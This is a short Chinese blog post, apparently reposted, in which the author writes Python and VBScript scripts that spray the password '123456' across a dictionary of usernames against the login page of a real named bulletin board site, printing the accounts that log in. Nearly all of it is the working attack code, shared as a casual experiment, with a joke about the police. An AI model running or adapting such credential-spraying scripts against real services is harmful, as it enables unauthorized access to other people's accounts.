Python牛刀小試密碼爆破_python

難道真的要我破解一個嗎？算了，正好試試我的Python水平。
python版

複製代碼 代碼如下:

#coding: gbk
import httplib, urllib

def Check(username, password):
params = urllib.urlencode(
{'userid': username, 'passwd': password})
headers = {"Content-type":
"application/x-www-form-urlencoded"}
conn = httplib.HTTPSConnection("www.bdwm.net")
conn.request("POST",
"/bbs/bbslog2.php", params, headers)
res = conn.getresponse().read()
conn.close()
if res.find("密碼不正確") != -1:
return False
elif res.find("不存在這個使用者") != -1:
return False
else:
return True

for i in open("English.Dic"):
if Check(i.rstrip(),"123456"):
print i

順便也寫了個VBS版的，感覺貌似VBS比較快，感覺出問題了？

複製代碼 代碼如下:

Dim fso
Set fso = CreateObject("scripting.filesystemobject")
With fso.OpenTextFile("English.Dic",1)
Do Until .AtEndOfStream
id = .ReadLine
If Check(id,"123456") Then
WScript.Echo id & vbTab &"OK"
End If
Loop
End With

Function Check(username,password)
Dim http
Set http = CreateObject("Msxml2.XMLHTTP")
http.open _
"POST","https://www.bdwm.net/bbs/bbslog2.php",False
http.setRequestHeader _
"Content-Type","application/x-www-form-urlencoded"
http.send "userid=" & username & "&passwd=" & password
response = AnsiToUnicode(http.responseBody)
If InStr(response,"密碼不正確") Then
Check = False
ElseIf InStr(response,"不存在這個使用者") Then
Check = False
Else
Check = True
End If
End Function

Function AnsiToUnicode(str)
Dim ado
Set ado = CreateObject("adodb.stream")
ado.Type = 1
ado.Open
ado.Write str
ado.Position = 0
ado.Type = 2
ado.Charset = "gb2312"
AnsiToUnicode = ado.ReadText
End Function

事實證明，123456真是一個無敵的密碼。但願晚上沒有警察叔叔敲門。
原文：http://demon.tw/programming/python-a-little-trial.html